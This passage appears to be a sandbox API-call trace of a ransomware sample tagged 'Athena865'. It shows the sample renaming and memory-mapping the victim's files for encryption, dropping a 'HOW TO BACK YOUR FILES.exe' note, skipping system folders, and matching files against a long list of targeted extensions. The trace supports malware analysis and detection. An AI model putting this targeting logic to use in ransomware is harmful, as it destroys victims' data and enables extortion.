(lpString=".ini") returned 4 [0050.611] lstrcmpiW (lpString1="wL8XfzGqjG.mkv", lpString2=".ini") returned 1 [0050.611] lstrlenW (lpString=".sys") returned 4 [0050.611] lstrcmpiW (lpString1="wL8XfzGqjG.mkv", lpString2=".sys") returned 1 [0050.611] lstrlenW (lpString="wL8XfzGqjG.mkv") returned 14 [0050.611] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wL8XfzGqjG.mkv.Athena865") returned 79 [0050.611] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wL8XfzGqjG.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\wl8xfzgqjg.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wL8XfzGqjG.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\wl8xfzgqjg.mkv.athena865"), dwFlags=0x1) returned 1 [0050.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wL8XfzGqjG.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\wl8xfzgqjg.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.612] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14815) returned 1 [0050.612] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.613] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.613] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.613] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ce0, lpName=0x0) returned 0x154 [0050.613] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ce0) returned 0x100000 [0050.613] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.614] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.614] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.616] lstrcpyW (in: lpString1=0x241e8b6, lpString2="wQT5F9RHsIBdCm.ods" | out: lpString1="wQT5F9RHsIBdCm.ods") returned="wQT5F9RHsIBdCm.ods" [0050.616] lstrlenW (lpString="wQT5F9RHsIBdCm.ods") returned 18 [0050.616] lstrlenW (lpString="Athena865") returned 9 [0050.616] lstrcmpiW (lpString1="IBdCm.ods", lpString2="Athena865") returned 1 [0050.616] lstrlenW (lpString=".dll") returned 4 [0050.616] lstrcmpiW (lpString1="wQT5F9RHsIBdCm.ods", lpString2=".dll") returned 1 [0050.616] lstrlenW (lpString=".lnk") returned 4 [0050.616] lstrcmpiW (lpString1="wQT5F9RHsIBdCm.ods", lpString2=".lnk") returned 1 [0050.616] lstrlenW (lpString=".ini") returned 4 [0050.616] lstrcmpiW (lpString1="wQT5F9RHsIBdCm.ods", lpString2=".ini") returned 1 [0050.616] lstrlenW (lpString=".sys") returned 4 [0050.616] lstrcmpiW (lpString1="wQT5F9RHsIBdCm.ods", lpString2=".sys") returned 1 [0050.616] lstrlenW (lpString="wQT5F9RHsIBdCm.ods") returned 18 [0050.616] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wQT5F9RHsIBdCm.ods.Athena865") returned 83 [0050.616] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wQT5F9RHsIBdCm.ods" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\wqt5f9rhsibdcm.ods"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wQT5F9RHsIBdCm.ods.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\wqt5f9rhsibdcm.ods.athena865"), dwFlags=0x1) returned 1 [0050.617] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\wQT5F9RHsIBdCm.ods.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\wqt5f9rhsibdcm.ods.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.617] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63653) returned 1 [0050.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.618] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.618] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.618] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfbb0, lpName=0x0) returned 0x154 [0050.618] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfbb0) returned 0x100000 [0050.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.621] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.621] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.623] lstrcpyW (in: lpString1=0x241e8b6, lpString2="yY03.gif" | out: lpString1="yY03.gif") returned="yY03.gif" [0050.623] lstrlenW (lpString="yY03.gif") returned 8 [0050.623] lstrlenW (lpString="Athena865") returned 9 [0050.623] lstrlenW (lpString=".dll") returned 4 [0050.623] lstrcmpiW (lpString1="yY03.gif", lpString2=".dll") returned 1 [0050.623] lstrlenW (lpString=".lnk") returned 4 [0050.623] lstrcmpiW (lpString1="yY03.gif", lpString2=".lnk") returned 1 [0050.623] lstrlenW (lpString=".ini") returned 4 [0050.623] lstrcmpiW (lpString1="yY03.gif", lpString2=".ini") returned 1 [0050.623] lstrlenW (lpString=".sys") returned 4 [0050.623] lstrcmpiW (lpString1="yY03.gif", lpString2=".sys") returned 1 [0050.623] lstrlenW (lpString="yY03.gif") returned 8 [0050.623] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\yY03.gif.Athena865") returned 73 [0050.623] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\yY03.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\yy03.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\yY03.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\yy03.gif.athena865"), dwFlags=0x1) returned 1 [0050.624] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\yY03.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\yy03.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.624] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33276) returned 1 [0050.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.625] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.625] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.625] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8500, lpName=0x0) returned 0x154 [0050.625] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8500) returned 0x100000 [0050.626] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.627] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.627] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.629] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents" [0050.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5017a8 | out: hHeap=0x4f0000) returned 1 [0050.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c470 | out: hHeap=0x4f0000) returned 1 [0050.629] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents") returned 56 [0050.629] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\71CA39BC102C6A2DBE6ABABFAA42E74F") returned 0xec [0050.629] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.629] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents" [0050.629] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.629] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.630] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.630] GetLastError () returned 0x0 [0050.630] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.630] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.631] CloseHandle (hObject=0xf4) returned 1 [0050.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.631] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.631] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.631] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.631] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.631] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.631] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.631] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.631] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.631] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.631] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.631] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1442770, ftCreationTime.dwHighDateTime=0x1d4ff74, ftLastAccessTime.dwLowDateTime=0x9e0cb830, ftLastAccessTime.dwHighDateTime=0x1d55f4a, ftLastWriteTime.dwLowDateTime=0x9e0cb830, ftLastWriteTime.dwHighDateTime=0x1d55f4a, nFileSizeHigh=0x0, nFileSizeLow=0x2f5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-xyaZA U2CnstOD2Db.pptx", cAlternateFileName="-XYAZA~1.PPT")) returned 1 [0050.631] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.631] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.631] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2=".") returned 1 [0050.631] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="..") returned 1 [0050.631] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="windows") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="bootmgr") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="temp") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="pagefile.sys") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="boot") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="ids.txt") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="ntuser.dat") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="perflogs") returned 1 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2="MSBuild") returned 1 [0050.632] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx") returned 23 [0050.632] lstrcpyW (in: lpString1=0x241e8ba, lpString2="-xyaZA U2CnstOD2Db.pptx" | out: lpString1="-xyaZA U2CnstOD2Db.pptx") returned="-xyaZA U2CnstOD2Db.pptx" [0050.632] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx") returned 23 [0050.632] lstrlenW (lpString="Athena865") returned 9 [0050.632] lstrcmpiW (lpString1="D2Db.pptx", lpString2="Athena865") returned 1 [0050.632] lstrlenW (lpString=".dll") returned 4 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2=".dll") returned 1 [0050.632] lstrlenW (lpString=".lnk") returned 4 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2=".lnk") returned 1 [0050.632] lstrlenW (lpString=".ini") returned 4 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2=".ini") returned 1 [0050.632] lstrlenW (lpString=".sys") returned 4 [0050.632] lstrcmpiW (lpString1="-xyaZA U2CnstOD2Db.pptx", lpString2=".sys") returned 1 [0050.632] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx") returned 23 [0050.632] lstrlenW (lpString="bak") returned 3 [0050.632] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1 [0050.632] lstrlenW (lpString="ba_") returned 3 [0050.632] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1 [0050.632] lstrlenW (lpString="dbb") returned 3 [0050.632] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1 [0050.632] lstrlenW (lpString="vmdk") returned 4 [0050.632] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1 [0050.632] lstrlenW (lpString="rar") returned 3 [0050.632] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1 [0050.632] lstrlenW (lpString="zip") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1 [0050.633] lstrlenW (lpString="tgz") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1 [0050.633] lstrlenW (lpString="vbox") returned 4 [0050.633] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1 [0050.633] lstrlenW (lpString="vdi") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1 [0050.633] lstrlenW (lpString="vhd") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1 [0050.633] lstrlenW (lpString="vhdx") returned 4 [0050.633] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1 [0050.633] lstrlenW (lpString="avhd") returned 4 [0050.633] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1 [0050.633] lstrlenW (lpString="db") returned 2 [0050.633] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0050.633] lstrlenW (lpString="db2") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1 [0050.633] lstrlenW (lpString="db3") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1 [0050.633] lstrlenW (lpString="dbf") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1 [0050.633] lstrlenW (lpString="mdf") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1 [0050.633] lstrlenW (lpString="mdb") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1 [0050.633] lstrlenW (lpString="sql") returned 3 [0050.633] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1 [0050.633] lstrlenW (lpString="sqlite") returned 6 [0050.633] lstrcmpiW (lpString1="b.pptx", lpString2="sqlite") returned -1 [0050.633] lstrlenW (lpString="sqlite3") returned 7 [0050.633] lstrcmpiW (lpString1="Db.pptx", lpString2="sqlite3") returned -1 [0050.633] lstrlenW (lpString="sqlitedb") returned 8 [0050.633] lstrcmpiW (lpString1="2Db.pptx", lpString2="sqlitedb") returned -1 [0050.634] lstrlenW (lpString="xml") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1 [0050.634] lstrlenW (lpString="$er") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1 [0050.634] lstrlenW (lpString="4dd") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1 [0050.634] lstrlenW (lpString="4dl") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1 [0050.634] lstrlenW (lpString="^^^") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1 [0050.634] lstrlenW (lpString="abs") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1 [0050.634] lstrlenW (lpString="abx") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1 [0050.634] lstrlenW (lpString="accdb") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1 [0050.634] lstrlenW (lpString="accdc") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1 [0050.634] lstrlenW (lpString="accde") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1 [0050.634] lstrlenW (lpString="accdr") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1 [0050.634] lstrlenW (lpString="accdt") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1 [0050.634] lstrlenW (lpString="accdw") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1 [0050.634] lstrlenW (lpString="accft") returned 5 [0050.634] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1 [0050.634] lstrlenW (lpString="adb") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0050.634] lstrlenW (lpString="adb") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0050.634] lstrlenW (lpString="ade") returned 3 [0050.634] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1 [0050.635] lstrlenW (lpString="adf") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1 [0050.635] lstrlenW (lpString="adn") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1 [0050.635] lstrlenW (lpString="adp") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1 [0050.635] lstrlenW (lpString="alf") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1 [0050.635] lstrlenW (lpString="ask") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1 [0050.635] lstrlenW (lpString="btr") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1 [0050.635] lstrlenW (lpString="cat") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1 [0050.635] lstrlenW (lpString="cdb") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1 [0050.635] lstrlenW (lpString="ckp") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1 [0050.635] lstrlenW (lpString="cma") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1 [0050.635] lstrlenW (lpString="cpd") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1 [0050.635] lstrlenW (lpString="dacpac") returned 6 [0050.635] lstrcmpiW (lpString1="b.pptx", lpString2="dacpac") returned -1 [0050.635] lstrlenW (lpString="dad") returned 3 [0050.635] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1 [0050.635] lstrlenW (lpString="dadiagrams") returned 10 [0050.635] lstrcmpiW (lpString1="OD2Db.pptx", lpString2="dadiagrams") returned 1 [0050.635] lstrlenW (lpString="daschema") returned 8 [0050.635] lstrcmpiW (lpString1="2Db.pptx", lpString2="daschema") returned -1 [0050.635] lstrlenW (lpString="db-journal") returned 10 [0050.635] lstrcmpiW (lpString1="OD2Db.pptx", lpString2="db-journal") returned 1 [0050.635] lstrlenW (lpString="db-shm") returned 6 [0050.636] lstrcmpiW (lpString1="b.pptx", lpString2="db-shm") returned -1 [0050.636] lstrlenW (lpString="db-wal") returned 6 [0050.636] lstrcmpiW (lpString1="b.pptx", lpString2="db-wal") returned -1 [0050.636] lstrlenW (lpString="dbc") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1 [0050.636] lstrlenW (lpString="dbs") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1 [0050.636] lstrlenW (lpString="dbt") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1 [0050.636] lstrlenW (lpString="dbv") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1 [0050.636] lstrlenW (lpString="dbx") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1 [0050.636] lstrlenW (lpString="dcb") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1 [0050.636] lstrlenW (lpString="dct") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dct") returned 1 [0050.636] lstrlenW (lpString="dcx") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dcx") returned 1 [0050.636] lstrlenW (lpString="ddl") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="ddl") returned 1 [0050.636] lstrlenW (lpString="dlis") returned 4 [0050.636] lstrcmpiW (lpString1="pptx", lpString2="dlis") returned 1 [0050.636] lstrlenW (lpString="dp1") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dp1") returned 1 [0050.636] lstrlenW (lpString="dqy") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dqy") returned 1 [0050.636] lstrlenW (lpString="dsk") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dsk") returned 1 [0050.636] lstrlenW (lpString="dsn") returned 3 [0050.636] lstrcmpiW (lpString1="ptx", lpString2="dsn") returned 1 [0050.636] lstrlenW (lpString="dtsx") returned 4 [0050.636] lstrcmpiW (lpString1="pptx", lpString2="dtsx") returned 1 [0050.637] lstrlenW (lpString="dxl") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="dxl") returned 1 [0050.637] lstrlenW (lpString="eco") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="eco") returned 1 [0050.637] lstrlenW (lpString="ecx") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="ecx") returned 1 [0050.637] lstrlenW (lpString="edb") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="edb") returned 1 [0050.637] lstrlenW (lpString="epim") returned 4 [0050.637] lstrcmpiW (lpString1="pptx", lpString2="epim") returned 1 [0050.637] lstrlenW (lpString="fcd") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fcd") returned 1 [0050.637] lstrlenW (lpString="fdb") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fdb") returned 1 [0050.637] lstrlenW (lpString="fic") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fic") returned 1 [0050.637] lstrlenW (lpString="flexolibrary") returned 12 [0050.637] lstrcmpiW (lpString1="stOD2Db.pptx", lpString2="flexolibrary") returned 1 [0050.637] lstrlenW (lpString="fm5") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fm5") returned 1 [0050.637] lstrlenW (lpString="fmp") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fmp") returned 1 [0050.637] lstrlenW (lpString="fmp12") returned 5 [0050.637] lstrcmpiW (lpString1=".pptx", lpString2="fmp12") returned -1 [0050.637] lstrlenW (lpString="fmpsl") returned 5 [0050.637] lstrcmpiW (lpString1=".pptx", lpString2="fmpsl") returned -1 [0050.637] lstrlenW (lpString="fol") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fol") returned 1 [0050.637] lstrlenW (lpString="fp3") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fp3") returned 1 [0050.637] lstrlenW (lpString="fp4") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fp4") returned 1 [0050.637] lstrlenW (lpString="fp5") returned 3 [0050.637] lstrcmpiW (lpString1="ptx", lpString2="fp5") returned 1 [0050.638] lstrlenW (lpString="fp7") returned 3 [0050.638] lstrcmpiW (lpString1="ptx", 